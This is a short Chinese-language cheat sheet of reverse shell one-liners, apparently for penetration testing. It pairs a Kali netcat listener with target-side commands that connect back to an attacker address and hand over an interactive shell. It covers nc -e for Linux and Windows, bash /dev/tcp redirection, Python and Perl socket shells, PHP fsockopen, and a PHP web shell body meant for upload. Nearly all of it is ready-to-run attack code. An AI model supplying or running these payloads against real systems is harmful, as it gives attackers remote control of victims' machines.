nc反弹shell常用方式
靶机存在nc:
kali:nc -lvp 9999
target:
nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows
靶机不存在nc:
(1)bash反弹
kali:nc -lvp 6666
target:
bash -i >& /dev/tcp/192.168.174.128/9090 0>&1
bash -I >& /dev/tcp/192.168.32.1/6666 0>&1
Python反弹shell
kali:nc -lvp 6666
target:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反向shell
kali:nc -lvp 6666
target:
php -r '$sock=fsockopen("192.168.32.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
备注:
如果上传shell的话,可以上传这样的内容,写入到shell中:
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.143.129/8080 0>&1' ");
?>
Perl反弹shell
kali:nc -lvp 6666
target:
perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'、